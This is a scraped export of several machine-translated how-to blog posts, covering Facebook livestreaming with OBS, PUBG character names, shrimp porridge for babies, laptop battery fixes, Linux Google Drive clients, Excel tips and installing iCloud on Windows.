you still have to use the third software as guided in this article.\nThere are many software that can help readers perform livestream on Facebook, but the most popular is Open Broadcaster (OBS, or OBS Classic) and the new version is called OBS Studio .\nWe can easily stream live video from computer screens to Facebook . Especially for gamers who can share moments that knock out opponents with friends. Follow the steps provided by the Network Administrator below.The video tutorial will be posted at the end of the post for your reference .\nYou can refer to How to install Open Broadcaster screen capture software to know how to use it.\nNote: The latest version of Google Chrome browser should be used to stabilize and get Live Stream. OBS software - Open BroadCaster does not integrate with Win XP, meaning it only works best on the latest Windows 7, 8, 8.1 and 10 - operating systems.\nWay Live Stream Facebook PC and tips 1. How to play live video stream directly to Facebook on the computer 2. How to play Facebook live video, stream to Facebook Fanpage - update more: 3. Video tutorial Live Stream Facebook video on PC 4. Some tips for live stream with OBS (play videos, music, add text) Play YouTube videos on Facebook Play videos from your computer to Facebook Add text to run when playing live on Facebook  1. How to play live stream Facebook videos on your computer Summarize the steps to take to stream live Facebook videos on your computer, this laptop:\nInstall, set up Open Broadcaster. Click the Create live video button on Facebook. Copy paste the URL stream and lock the stream. Click Start Streaming on Open Broadcaster. Wait a while and then press Play on Facebook. More reference: Some settings to avoid lag when stream, play live video on Facebook.\nTo get started, visit your Facebook account to livestream.\nStep 1: You need to download and run the Open Broadcaster software on your computer.\nDownload the Open Broadcaster software for free Download the Open Broadcaster software for Mac   Install OBS software to live stream Facebook\nStep 2: Open the program and you will see the main interface appear.\n  Step 3: Next, right-click on the white box in the Sources section, appear Add here you have some options as follows:\nMonitor Capture : Play all that is happening on the screen to Facebook Windows Capture: Only play the content of a window. Image: Play from a photo source Image Slide Show: Play from a photo Slide show Text: Insert text into live video (see detailed instructions in section 4) CLR Browser: Directly send a link to Facebook (see detailed instructions in section 4) Video Capture Device: Play directly from a video recording device, on the computer it is the webcam, you add this source if you want to display your image on live video. Game Capture: Stream a game directly to Facebook   Note: If you want to display the webcam at a certain angle on the Stream screen, follow this tutorial!\nStep 4: New interface appears. Here, we will name the screen and click OK to save.\n  Step 5: New window appears, continue clicking OK .\n  Step 6: At the program interface, we add Video Capture Device to use webcam if you want.\n  Continue to rename and click OK .\n  Appears the new window interface, select OK to confirm.\n  Step 7: Go to your personal page\u0026gt; Live video :\n  Select Connect \u0026gt; press Ctrl + - to minimize the window that appears, help you see the server URL and lock the video. Appear interface Play live on Facebook , we will name the video playback, video titles on the required items. In this section, you pay attention to the two links that are the server URL and the stable video lock . These two paths will change when we perform a new video stream including the server URL and blocking the stream.\n  Step 8:\nGo back to the OBS interface, select Settings , click Settings .\n  Step 9:\nThe Settings interface appears, select the Broadcast Settings section. Next, you will copy the server URL line on Facebook and paste it into the FMS URL section , the video lock line is pasted into the Play Path / Stream Key part (1 in step 7 image paste in 1 in step 9, 2 image in step 7 photo paste) go to 2 in step 9 image.\n  Note:\nMany of you have pm, inbox for me and ask why the network speed is normal, stable but when the stream is in a state of jerky, lag . then you should note at the Settings section Bitrate, this Encoding remember to choose the speed Encryption and data transfer rate is 2000 - 2500 only:\nOpen Open Broadcaster . Click Settings\u0026gt; Settings\u0026gt; Encoding:   Add some settings to avoid lag when streaming or breaking images while streaming:\nThere are a lot of friends who ask me how to stream movies, games . or get black screen, or normal network, but laggy, broken images . there are some tips as below:\nIn Encoding section , Bitrate should be set to 2000 (whoever is healthy, about 10mb / s or more, then up to 5000 is the maximum, because the 720p resolution of facebook is only 2000-5000, but during stream The image quality is almost the same in 2000. Encoder : If you use a strong CPU, the card is weak to X264. As for CPU with weak card, use NVENC. I recommend that you leave the CPU because there are few games that eat CPU much, most of them only eat video cards! So let the CPU access it stream! (depending on the game: D but most of them are).\n In Video (this is the most important thing): it is because Facebook only supports 720p and 30fps, so it should be set as above! By default it will give you the highest resolution and 60fps, but it's useless! Just make the stream lag! Note that with some games like LOL, you go to the Game, install Full screen and select No border offline! Step 10:\nSelect Start Streaming to proceed with the video stream. If you are in Stream Preview mode, select Stop preview, then Start Streaming.\n  Step 12:\nWaiting for 5 to 10 seconds on Facebook video stream interface will appear Live / Live Play button. Click it to make the video stream.\n  Press this button to stream live video on FB\nStep 13:\nWait a moment for Facebook to prepare to play your video. This is the result when selecting Window Capture. If you want to stop playback, click Stop Streaming .\n  Personal Facebook page after finishing Live Stream on Facebook.\n  2. How to play Facebook video, live stream for Facebook Fanpage Method 1: You choose Live video (live video) right on your personal page, in Share on Your Timeline / Share on your timeline , you choose Share on a Page you manage / Share on the page you manage . This way I see Facebook taking a long time, so I usually do it 2 more ways.\n  Method 2:\nOpen your fanpage, at the top of the page click on Publishing Tools / Tools post \u0026gt; Create / Create\n  The next interface appears select Live video / Video directly\n  This interface is quite similar to when playing live video on your personal page, you also pay attention to Server URL, Stream Key and follow the same steps as above to play the video.\n  And create a new event, what the server URL parameters and block to do, you know already (read the tutorial for the personal Facebook PC above!)\nIf you access from https://www.facebook.com/quantrimang.com.vn/publishing_tools/?section=VIDEOS\u0026gt; Live / Direct, the interface will be as follows:\n  In this window, you click Preview, Facebook will continue to transfer you to the next set:\n  Going to this screen, the steps have become simpler, you have to open Open Broadcaster and read the above section of the article again:\n  The general control panel of live stream video will look like the image below:\n  3. Video tutorial Live Stream Facebook video on PC Thus, thanks to OBS software, we can easily live Video Live Stream right on the computer screen on Facebook as we do with the mobile version. Although there is a delay of about 10 seconds, it is worth it to experience this software. Let's shake hands with Live Stream Video right on your computer.\n4. Trick to play live video on Facebook with OBS (play video, music, add text) Play YouTube videos on Facebook To play YouTube videos on Facebook, the most important thing is to get the video link in full screen mode:\nYou can consult how to get this: https://www.youtube.com/embed/Videoid or https://www.youtube.com/tv#/watch?v=Videoid with videoid is what comes after \"v = \"in the URL of that video. Just copy this ID, replace Videoid of one of the other two links, then paste it into the browser.\nFor example, YouTube link of Despacito video is: https://www.youtube.com/watch?v=kJQP7kiw5Fk\nIts full screen link will be: https://www.youtube.com/tv#/watch/video?v=kJQP7kiw5Fk\nBy default, you already know how to get the YouTube video link full screen already. Remember that music videos and movies that are copyrighted when played on Facebook will not be displayed, you can be blocked with livestream Facebook features if you intentionally play videos like that.\nHow to install to play YouTube videos on Facebook:\nOpen OBS up In the Source section, right-click\u0026gt; Add\u0026gt; CLR Browser:   Paste the YouTube link full screen into Selecting Width and height is your maximum screen resolution. (Right click on the screen, select Screen Resolution \u0026gt; Resolution , which one is the best).   After all, to play on Facebook you follow the steps above. If the video is jerky due to a slow network, or the device is lagging, turn off another application to focus the stream.\n  On the picture, because I have not set up stream on Facebook, the Streaming Start button is obscured, with this video too hot, post it in the same way with copyright, so you choose to make or not copyrighted video ok\nPlay videos from your computer to Facebook In the Source box, right-click and choose Add \u0026gt; CLR Browser as above In the frame CLR Browser Configuration appears, instead of pasting the video link, click the? Sign, browse to the folder containing the video to be played, select the video you want to play\u0026gt; Open.     Adjust the height and width in the Height vs Width box to match the resolution of the video\u0026gt; Apply\u0026gt; OK. It is done.   Add text to run when playing live on Facebook Right-click in the Source\u0026gt; Add\u0026gt; Text box\n  In the Text window that appears, change the properties for the text, specifically: Font, font size, text color, font style, transparency (Opacity), size. If you want the text to run back and forth on the screen, in the Quick Scroll you enter a value greater than 0, the larger the value, the faster the word runs.\n  Change the position of the text on the screen, right-click on the Text (or the name you set for this text source)\u0026gt; Size / position\u0026gt; Select the location where you want the text to appear. To default, the text will appear in the upper left corner.\n  And this is the result:\n  Refer to the following articles:\nHow to permanently delete Facebook account 2 ways to rename Facebook when less than 60 days or more than 5 times How to recover deleted messages on Facebook? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWYpMRuuMivnGarpKeyormMn5icnZKkvKx51aKbnqddpLtuvMJmnZqmoJa0pg%3D%3D\n","link":"/post/this-is-how-live-stream-facebook-video-on-pc-fanpage/","section":"post","tags":null,"title":"This is how Live Stream Facebook Video on PC, Fanpage"},{"body":"Sometimes naming in PUBG Mobile VNG is quite simple and you just need to put a name that has no users, but it also takes a lot of time and your name will not be satisfactory when you have to add a few more enter it yourself. You catch a match in PUBG Mobile, and sometimes see some characters with names containing special characters.\nThese characters will make the player quite hard to find, but it also impresses when your character's name contains special characters and \"unlike anyone\". Sometimes those names are signs of pro players, if you want to name characters with special characters in PUBG Mobile, you can refer to this article below.\nPUBG Mobile Zombie: Combine all types of zombies and how to deal with them How to configure PUBG Mobile VNG to HD on Tencent Gaming Buddy PUBG Mobile: The best gun combos to win the TOP 1 in the game PUBG Mobile Zombie: The location of the RPD building Raccoon Police I. Name the character PUBG Mobile with special characters on the phone 1. Name the character in PUBG Mobile with available special characters The first way you can name a character or write a special character in PUBG Mobile by writing characters in the keyboard of PUBG Mobile for Android. Refer to the article How to rename the character in PUBG Mobile to know how to rename the character.\n  Secondly, you can refer to the special characters available online, refer to the two articles Facebook icons, special Facebook characters, emoji on Facebook are obscure and the article How to write special characters in the beautiful League of Legends game.\n  On PUBG Mobile iOS, writing special characters is limited because the keyboard of iOS devices does not have a mechanism for displaying special characters like on Android. You just need to copy these characters and edit the character name according to your discretion, note that don't copy a lot of characters at once.\n  2. How to name PUBG Mobile characters with special characters only by copying and pasting Step 1: First go to the chat list, here you will see many other players are online and there are many players naming their characters according to special characters.\n  You can switch channels to select other names, when you see the player naming the character you want to find, click on the avatar of that person and select Player Profile .\n  When you have entered the profile of the player, click on the copy icon next to the character name as shown below, if you see the message Copyed out is okay.\n  Next you can paste into your character name frame and edit as you like. This way, though it takes a bit of time to select the character, is the easiest way you can do to change the character name in PUBG Mobile.\n  II. How to write special characters, name the characters with special characters in PUBG Mobile PC With PUBG Mobile on Tencent Gaming Buddy, character naming is based on how to write special characters or copy special characters from different sources to name the characters quite limited. You only have to find the character name in the chat channel then copy and paste it into your character naming frame and edit it only.\n  So writing a special character in PUBG Mobile to name the character is quite simple on the phone but it has a lot of limitations when naming the character PUBG Mobile on Tencent Gaming Buddy. On PUBG Mobile PC you only have to copy the character name in the conversation list to name your character only. Hopefully, with the above tutorial, you will get the best names in PUBG Mobile.\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWnp7a1sYysp56bmZa5bq%2FHmqmam6Sav7R5yKdkqa2SnHquu8Gio54%3D\n","link":"/post/ways-to-write-special-characters-in-pubg-mobile/","section":"post","tags":null,"title":"Ways to write special characters in PUBG Mobile"},{"body":"Shrimp contains a lot of vitamins A, D, Omega-3 and DHA, the nutritional components are very good for health, helping children develop better physical and brain. Therefore, shrimp is one of the food sources that should be supplemented for babies from weaning stage.\nShrimp porridge for weaning will have different preparation and cooking methods depending on each month of age.\nShrimp dosage for babies according to each month of age From 6 months to 12 months of age, your baby needs 23-25g of protein per day. Meanwhile, the protein content of shrimp is from 16-18g.\nBabies aged 7-12 months can eat 20-30g of fish meat, shrimp cooked with flour or porridge. And should only feed your baby 1 meals / day and 3-4 meals / week.\nTo ensure adequate quality, nutritional balance for the baby, when cooking shrimp porridge, shrimp powder should cook with vegetables.\nSome vegetables can be cooked with shrimp porridge, shrimp powder: carrots, pumpkin, mushrooms, cauliflower, shrimps, amaranth, coriander .\n1. Pumpkin shrimp porridge for babies Material:\nPumpkin: 200g. Peel, clean and cut small pieces. Fresh shrimp: 200g. Peel, remove the black thread, puree and marinate with the seasoning seeds. Glutinous rice: 1 handful. Wash clean, soak in water. How to cook pumpkin shrimp porridge.\nPut glutinous rice and pumpkin in a pot well cooked. When the porridge is cooked, add the minced shrimp meat, continue to cook until the shrimp is cooked, turn off the heat.\n  Note: With 6-month-old babies, shrimp after pureing, pumpkins after cooking are required to use sieve to remove residue before cooking dough.\n2. Carrot shrimp porridge Material:\n100g shrimp: Peeled, black only, puree and chill with marinade seeds. 5 tablespoons of unrefined rice 2 tablespoons glutinous rice. ½ carrot: Peel, rinse, cut small pieces. How to make carrot shrimp porridge\nStep 1: Wash rice thoroughly, soak in water for blooming.\nStep 2: Rice and carrots into the pot, cooked well.\nStep 3: When the porridge is cooked, cook the shrimp together. When shrimp cooked, turn off the heat. Draw a bowl for your child to enjoy while it's still hot.\n  Note: If cooking baby snacks for 5 months to 6 months, mothers should steam cooked carrots then puree before cooking with porridge or flour.\n3. Porridge with shrimp and green bean paste Material:\nEight fragrant rice. Green beans (chickpeas): 1 spoon. Shrimp: 5 shrimp. Peeled and finely minced spices. Shrimps: 50g. Rinse, shred. Cheese: 1 piece. Cooking oil for children, dry onions, fish sauce. How to cook vegetable porridge with green beans\nStep 1: Green beans and rice are washed, put into a pot to cook like.\nStep 2: Put finely chopped shrimp into non-aromatic oil with onion oil for about 30 seconds.\nStep 3: When the porridge is cooked, add the shrimp, chopped vegetables, cheese and stir well. Continue cooking for 1-2 minutes, then turn off the heat.\n  Note: If you cook flour for babies 5.5 months - 6 months old to eat weaning, you can puree all, remove residues, just feed your baby water.\n4. Shrimp meat minced shrimp porridge with chicken for 1 year old baby Material:\n400g shrimp. Remove the skin, remove the black thread, puree and marinate with a little seasoning seeds. 1 egg. Eggs beat out bowl, beat cotton. 100g of mushrooms. Chopped. 150g minced tenderloin. Glutinous rice and glutinous rice. Dry onions, scallions, and seasoning seeds How to cook minced shrimp meat porridge with chicken eggs\nStep 1: Glutinous rice and clean rice, put in a pot to cook well.\nStep 2: When the porridge is cooked, add shrimp, minced meat, and mushrooms to cook together until well cooked.\nStep 3: Pour the beaten egg into the pot slowly. Just pour and pick the eggs to melt evenly. Continue cooking for 1 minute, then fully cook and turn off the heat.\n  5. Red amaranth shrimp porridge Material\n30g shrimp: Peeled, leave only black, puree. 10g amaranth: Wash and chop. 50g of rice flour. How to cook red amaranth shrimp soup\nStep 1: Put the shrimp and amaranth in the pot, cook and then turn off the heat. Wait until the mixture cools, and warm, add rice flour and stir. Continue to turn on the heat, bring to a simmer and cook the dough completely. Add a little baby oil, stir and turn off the heat.\nNote: It is recommended to filter the entire pulp if cooking for babies 5, 6 months old. Feed your baby only flour and water made from spinach and shrimp.\n6. Shrimp cheese porridge for babies eating miles 1 year old or older Material:\n1 small cup of rice: Wash clean, soak in and then picked out to drain. Broth (simmered from the bones of pigs and chickens). 150g shrimp. Peel off, leave only black. Can mince shrimp or leave whole. 55g broccoli: Wash, cut small pieces. 1 piece of cheese 1/4 onion: Peeled, washed, cut into small pieces. How to cook:\nStep 1: Cauliflower, onion in aromatic sauteed with a little oil.\nStep 2: Fry the shrimp.\nStep 3: Add rice and shrimp to cooked well.\nStep 4: When the porridge is cooked, add broccoli and onion to cook together. Once boiling, add in the cheese and season to taste. Bring the porridge to a boil, then turn off the heat.\n  7. Porridge mushroom shrimp, kohlrabi Material\n20g shrimp: Remove the skin, mince. 10g mushrooms: Cut into small pieces. 10g kohlrabi: washed, finely chopped. 20g of rice flour. Spice. How to cook shrimp mushroom soup, kohlrabi\nStep 1: Add shrimp, mushrooms, kohlrabi, and water into the pot.\nStep 2: Once the mixture is ready, turn off the heat, stir the rice flour and stir.\nStep 3: Continue cooking until the dough is cooked, turn off the heat.\n8. Prawn with watercress Material:\n1 handful of ordinary rice. 100g shrimp. Peeled, discarded black thread, mince and marinate with tiny spices. 80g watercress. Just pick up the cilantro and young leaves, wash them, slice them. How to cook water sprouts shrimp soup\nStep 1: Wash clean rice, then put in the pot to cook.\nStep 2: When the porridge is cooked, add watercress and shrimp. Continue to cook until all is done, turn off the heat.\n  Note: If cooking porridge for children 5-6 months, should remove the pulp, only feed the baby.\n9. Straw mushroom porridge Material:\n400g shrimp: Peeled, minced, marinated. 200g straw mushrooms: Cut the feet, soak in dilute salt water for 15 minutes and then wash, drain. ½ bowl of glutinous rice + ¼ bowl of glutinous rice: Soak to bloom, remove and drain. Spices, onions, and scents How to cook shrimp mushroom porridge\nStep 1: Add the roasted rice until it is dry. For rice to cook into porridge.\nStep 2: Fry the shrimp until they turn red.\nStep 3: When the porridge is cooked, add shrimp and mushrooms to cook for 3-5 minutes. Finally, add the scent, the onions and turn off the heat.\n10. Pork and yam soup Material\n100g shrimp: Peeled, blackened, pureed. 50g yams: peeled, washed, steamed, pureed. 1 purple onion. Rice, broth (chicken or pork bones), spices. How to cook shrimp and yam soup\nStep 1: Wash rice and then cook it into porridge.\nStep 2: Porridge cooked, for yam, shrimp to cook together. When ripe, seasoning medium for baby use, turn off the stove.\n  Note: When cooking porridge for weaning children should use baby spices, baby oil . and seasoning lighter than the taste of adults.\nncG1vNJzZmismaXArq3KnmWcp51kfnF51pqwrGWkpHqku86kZJ2dnJ6wqrvUrGSsoKKeurF5z6ipq6GUnLJuutStqaKsmaTCtHnBmpmyZZakvKV5zKKjnqs%3D\n","link":"/post/10-ways-to-cook-delicious-shrimp-porridge-nutritious-baby-food-miles/","section":"post","tags":null,"title":"10 ways to cook delicious shrimp porridge, nutritious baby food miles"},{"body":"Normally, when hovering over the battery icon in the right corner of the laptop screen, you will know the battery percentage as well as the remaining time. However, suddenly someday you see the \"Plugged in, not charging\" message, the battery is likely to be in trouble and of course you won't be able to charge your laptop battery. So how to fix the charging laptop battery without going into electricity, specifically fixing the \"plugged in, not charging\" laptop battery error?\nInstructions for replacing a broken laptop screen Is the laptop charger plugged in when the battery is full? No need to install any software, this is how to check your laptop battery level Instructions for fixing \"plugged in, not charging\" laptop battery errors A lot of laptop users have a situation where a laptop battery battery doesn't enter the \"plugged in, not charging\" message like the image below. In fact, the cause of this problem is the fault of the battery control driver driver. You can fix the laptop battery error yourself before bringing it to your shop to make your money and time costly.\n  Steps to fix \"plugged in, not charging\" laptop battery errors\n1. Turn off the laptop.\n2. Remove the charger from the laptop.\n  3. Gently remove the battery from the computer base. For laptops that use a seamless battery, you must remove the case to remove the battery.\n4. Reconnect the laptop charger.\n5. Now restart your computer to enter Windows.\n  6. Next, you access the following link to remove the battery management ACPI drivers: C ontrol Panel\u0026gt; Device Manager\u0026gt; Batteries. You then continue Uninstall all the internal folders by right-clicking\u0026gt; select Uninstall.\n7. You turn off the computer again.\n8. Unplug the device.\n9. Insert the battery into the device and plug the charger into the computer.\n  10. Finally, when you start your computer, you will see that the machine automatically recognizes the ACPU battery management driver.\n  Note: If you have followed the above 10 steps and still have not resolved the \"Plugged in, not charging\" laptop battery error, it is likely that your device will be charged so it will not charge. , do it again in the following way:\n1. Turn off the computer.\n2. Unplug the laptop battery charger.\n3. Remove the computer battery.\n4. Plug in the charger.\n5. Press and hold the power button for about 30 seconds.\n6. Insert the battery, plug in the charger and start the computer.\nAfter performing the above operation, the device still says 'Plugged in, not charging', then the Network Administrator will \"give up\". The best solution at this point is probably to find a reputable computer repair center for assistance, because your battery may be faulty.\nIt should be noted, to increase laptop battery life, you should charge the battery and use it, then fully charge it again, doing so 3 times will help the battery work best. In addition, when you find that the laptop battery is bottled, is going to fail, try to recover and improve the performance of the laptop battery that has been subjected to the trick that the Network Administrator previously shared.\nGood luck!\nSee more:\nPhone does not charge or charge slowly, this is how to handle it Plug the phone charger forever in the socket, so or not? 4 simple ways to check the configuration and hardware information of computers and laptops ncG1vNJzZmismaXArq3KnmWcp51ks6rEjKmjrp%2BXmrFutc1mpaisXZi1or7GoqWgZZyWvbW7z2aZmqykmr%2B6ecSrqaiq\n","link":"/post/fix-plugged-in-not-charging-laptop-battery-error/","section":"post","tags":null,"title":"Fix 'plugged in, not charging' laptop battery error"},{"body":"Google Drive is a great online storage space, providing up to 15GB of free storage so you can backup and sync files. Google Drive also syncs with some third-party services. Users can access Google Drive easily on large operating systems like Windows and macOS. However, Linux is different.\nAlthough there is no official Google Drive client for Linux, you can still browse your Google Drive files in File Manager if you use a GNOME-based desktop, thanks to the built-in Files application . Otherwise, Linux users will have to use third-party options to access Google Drive.\nBelow is a complete list of proprietary methods and services that you can use to access Google Drive in Linux.\nDo you know these Google Drive clients for Linux? 1. Web browser 2. GNOME-based desktop environment 3. Insync 4. overGrive 5. Drive 6. GoSync 7. Rclone 8. CloudCross 9. Google-Drive-ocamlfuse 10. Tuxdrive 1. Web browser Like Google Drive, Linux can be used with any modern web browser like Chrome, Firefox and Opera. Other lesser known browsers like Midori, Epiphany and Vivaldi also work great with Google Drive.\nHowever, only Chrome and Chromium browsers allow offline operation with documents in Drive.\n2. GNOME-based desktop environment   If your Linux distribution uses GNOME, through GNOME Calendar , you can use the Online Accounts feature to add a Google Drive account. The Online Accounts feature integrates Google accounts with Evolution Groupware Suite, including tasks to be done, emails, tasks, calendars, contacts, etc., plus the GNOME calendar.\n3. Insync Insync claims to be an unofficial Google Drive client for Linux users. This is an easy-to-use commercial application that runs on platforms like Linux, macOS and Windows.\n  Drive-to-Desktop sync tool allows you to backup and sync Drive to Linux desktop.\nDrive-to-Desktop provides some additional features that Drive doesn't provide for other platforms, such as support for multiple Google accounts. Other features include intuitive file synchronization and selection, Drive file management with the GUI.\nInsync provides a free trial version that you can try running in Linux and see if it is useful before upgrading to a paid plan.\n4. overGrive overGrive is an application created by Grive developers, formerly an open source command-line tool. Because of changes in the API of Google Drive, Grive has been abandoned and no longer works.\n  overGrive is a paid option, with a 14-day free trial and designed as a Google Drive client for Linux.\nThis tool automatically syncs offline copies of files like the way Drive works in Windows or macOS.\n5. Drive Drive is a command line program that runs on macOS as well as Linux to transfer and retrieve files to or from Google Drive.\nThis open source tool is written in Google's Go programming language, originally written by Burcu Dogan, but does not provide many features, such as syncing in the background.\n6. GoSync Written in Python programming language, GoSync provides an easy-to-use GUI and allows the synchronization of documents or files between remote and local memory.\n  You can also pause or resume sync at any time you want.\nAlthough GoSync has not been completed enough to act as a Google Drive client for other platforms, it still does a good job in Linux.\nGoSync shows you the remaining storage on your Google Drive account, what types of files are taking up storage space and automatically syncs regularly after 10 minutes (you can pause but cannot turn off this feature ).\n7. Rclone   Rclone is an open source cloud storage client based on CLI, which works for Linux and other major platforms such as macOS, Windows and BSD.\nRclone offers file and document synchronization to and from many cloud storage options including Google Drive, OneDrive, Mega, Dropbox, etc.\n8. CloudCross   CloudCross is another open source Google Drive client for Linux, works with both macOS and Windows. CloudCross provides features and tools to synchronize files, as well as documents between different remote and local cloud repositories.\nCurrently, CloudCross supports Google Drive, OneDrive, Dropbox, Yandex and Mail.Ru cloud storage services.\n9. Google-Drive-ocamlfuse This tool allows you to read, write to folders and files, access the trash folder, as well as Read-only access to Google Docs, Slides and Sheets.\n  CLI-based file system fuse supports multiple accounts and allows seamless Linux mount on Google Drive.\nGoogle-Drive-ocamlfuse is simple, easy to use and you can perform actions on the folder on your Drive account. However, you need to go online to access files, because Google-Drive-ocamlfuse does not synchronize local files.\n10. Tuxdrive   Tuxdrive is a Google Drive client based on another CLI for Linux, allowing access to Drive files and documents. Tuxdrive also allows uploading or downloading files and managing everything in Google Drive.\nHave you used any of the above Google Drive clients for Linux? Share your experiences in the comments section below!\nncG1vNJzZmismaXArq3KnmWcp51ks7a4y2ajoqukYrynecaopqCklWKxs7XVnmScpJmau7W%2FjJ%2Bmq2Wcnru2xA%3D%3D\n","link":"/post/full-list-of-google-drive-clients-for-linux/","section":"post","tags":null,"title":"Full list of Google Drive clients for Linux"},{"body":" Average growth rate is a financial term used to describe a method of projecting the rate of return on a given investment over a period of time. By factoring the present and future value of a particular investment in relationship to the...\nMethod 1of 3:\n Enter and format the column heading for the average growth rate calculator. Type \"Future Value\" into cell B1. With cell B1 still selected, click the \"Wrap text\" button on the formatting tool bar. Select the \"Formatting brush\" from the formatting toolbar and drag the formatting brush from cell C1 through cell F1.\n  Format the cell borders for the average growth rate calculator. Click in cell B1, and drag to select cells B1 through F1. On the formatting toolbar, click the arrow on the Borders button and select \"Thick bottom borders.\" Click and drag to select cells B2 through F2. On the formatting toolbar, click the arrow on the Borders button and select \"Outside borders\" from the menu options. The cells in the average growth rate calculator will now be outlined in black.\n  Set the number formatting for the average growth rate calculator. Select Format Cells under Format. Select cells B2 and C2, and select the currency ($) option. Any value entered in cells B2 or C2 will now display as a dollar amount. Click in cell F2 and select the percentage (%) option. Any value entered in cell F2 will now read as a percentage. The number formatting for the average growth rate calculator have been set.  Method 2of 3:\nEnter the Formula to Calculate the Annualized Yield Rate of an Investment in Excel  Enter the formula for calculating the annualized yield rate. Type the following formula into cell F2: =((B2/C2)^(1/D2))^E2-1. The average growth rate of an investment will now appear in cell F2 whenever values are entered into cells B2 through E2.\n Method 3of 3:\nTest the Average Growth Rate Calculator and Interpret the Result  Enter the following values into cells B2 through E2 to test the accuracy of the average growth rate calculator. Type \"100,000\" in cell B2, \"500\" in cell C2, \"120\" in cell D2 and \"4\" in cell E2. If the resulting figure in cell F2 is \"19.32%,\" the calculator is functioning properly. In other words, if an investment of $500 dollars yields $10,000, over a period of 10 years (120 months), where the interest is paid quarterly, the average growth rate is 19.32%.\n  Kareem Winters Update 19 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRobC2uMCtnGaZppq%2ForPEZp6rp6eptW6%2BwK2cZqGeYrK5r8Sl\n","link":"/post/how-to-calculate-average-growth-rate-in-excel/","section":"post","tags":null,"title":"How to Calculate Average Growth Rate in Excel"},{"body":"Why is it necessary to fix lines in Excel. For those who often work with excel files with a large number of records, it is impossible not to use it. The following article details how to fix columns and rows in Excel 2013.\n1. Fixed line Note: It is important to fix the row or the column to determine the position of the mouse cursor.\nStep 1: Locate the cursor position.\nPlace the mouse cursor in the first cell of the line below the line to be fixed. Note: the lines before the cursor line are fixed.\nStep 2: Select View -\u0026gt; Freeze Panes .\nFor example: Fixed row 1 and row 2 =\u0026gt; place the cursor in the 3rd row of the 1st cell. So when you move to the nth record with very large n, row 1 and row 2 are still displayed. and fixed on top.\n  Compare the results: Lines 1 and 2 are fixed. When you drag the mouse down on the 15th and 16th rows, the column headings and column properties are still displayed.\n  Note: You can choose to freeze the first row by clicking Freeze Top Row .\n  2. Fixed columns - Step 1: There are 2 ways to locate the mouse cursor.\n+ Method 1: You place the cursor at the first cell position of the column after the frozen column (For example, fix the nth column, then place the mouse cursor in the first cell of the nth column + 1). Freeze the STT column to place the mouse pointer in the cell (B, 2).\n  Note: The columns in front of the mouse cursor column are fixed.\n+ Method 2: Highlight the entire column after the column is fixed.\nEg fixed column No. I blacked columns Full .\n  - Step 2: Select View -\u0026gt; Freeze Panes .\n  Let's compare the results: When we drag the column They are obscured but the STT column remains fixed and is displayed on top.\n  Note: If you want to fix the first column instead of choosing Freeze Panes -\u0026gt; Freeze First Column .\n  3. Freeze both rows and columns - Step 1: Determine the position of the mouse cursor.\n+ For example: Fix column STT and row 1 + 2 -\u0026gt; Place the cursor in cell C3.\n  - Step 2: Select View -\u0026gt; Freeze Panes .\n  Results:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqku8uupKerXZa7pXnHnpidpJmjsrR5yKdknrCTmrk%3D\n","link":"/post/how-to-fix-columns-and-headlines-in-excel/","section":"post","tags":null,"title":"How to fix columns and headlines in Excel"},{"body":"Microsoft Excel office tools are currently popular software in handling data tables and charts. However, in the process of using the user will encounter some errors affecting the process of creating and processing Excel file data. For example, when you save the file, an error message will appear \"Errors were detected while saving the file . Microsoft Excel may be able to save the file. To cancel saving the file, click Cancel \".\nWhen this error occurs, we cannot save the current file to an old file. Save or Save as to a new file will not work. So how can I solve the error that can't save Excel file?\nThis error may occur because we are working on VBA (Microsoft Visual Basic for Applications editor), or the directory path to the file exceeds the number of characters and the Vietnamese language contains the mark.\n  Step 1: When the above message appears, we need to exit the corrupted file. Then click the File\u0026gt; Open button and navigate to the path containing the file. Open the option at the small arrow next to the Open button and select Open and repair .\nNote, when we exit the error file, all edited content will disappear.\n  Step 2: Appearance dialog box opens. Here click on Repair to proceed to repair the corrupted file. Finally you just need to press Save to save.\n  In addition, users can also perform the method of clicking Save as the file to the Desktop or C: drive with a shorter path. Or you can create a blank Excel file and copy the new spreadsheet content. However, this method is only suitable for spreadsheets with simple content.\nAbove is how to fix the error of not saving the file during the process of saving content or creating new content on Excel. If your Excel content is quite simple, you can copy the content to a blank Excel file and save it. However, the best way is to click Repair to fix the file according to the instructions above.\nRefer to the following articles: These are the most basic functions in Excel that you need to understand 10 ways to recover corrupted Excel files 10 ways to use the Paste feature in Excel Summary of expensive shortcuts in Microsoft Excel ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqaxlp5q%2FpnnDnquem6SasW7Dx6KjnmWjlsOqusZmnaKklah6qrqMnq%2BcnZxif3F9jw%3D%3D\n","link":"/post/how-to-fix-errors-were-detected-while-saving-files-in-excel-2010/","section":"post","tags":null,"title":"How to fix Errors were detected while saving files in Excel 2010"},{"body":"If you own an iPhone, a Windows computer and need to sync data between them, iCloud will be a good solution. Let us learn how to install and use this useful software.\nInstall iCloud on Windows Step 1 : Download iCloud to your computer and install\n  Step 2 : Installation process takes place\n  Step 3 : Click Finish to complete the installation process\n  Step 4 : After that, the computer will ask if you want to reboot. If not, click No to skip.\n  Use iCloud on Windows Step 1 : On the first login, you use the Apple account\n  Step 2 : A message appears asking if you want to send usage data to Apple? If not, click Don't Send to skip.\n  Step 3 : Immediately after, the interface of iCloud appears so you can sync photos, mail, contacts . You can press Option to adjust the sync options in Photos and Bookmarks section\n  Step 4 : In the newly opened Photos Options dialog box, you can choose to sync photos on your computer and photos on iCloud and select the link. Then press OK to start syncing.\n  Step 5 : Similarly, you can also conduct Bookmark synchronization between IE, Firefox , and Chrome browsers\n  Step 6 : Click Apply to start syncing Bookmark and then click Merge / Downloads to download more utilities as shown below\n  In addition, for quick access, iCloud also creates icons in My Computer or under the taskbar\n    From the main interface, can you click Account Details to manage your account or decide whether to send anonymous judgment information to Apple?\n  Besides, you can also check your iCloud archive by clicking Storage\n  Extended features You can also access other items on iCloud like Calendar , Contacts , Keynote on the Start Menu\n  So, we have just shown you how to install and use iCloud on Windows. From now on, you can enjoy the data synchronization between iOS devices and Windows computers.\nHow to create an iCloud account for free on your phone Errors when using iCloud account (Apple ID) How to protect your iCloud 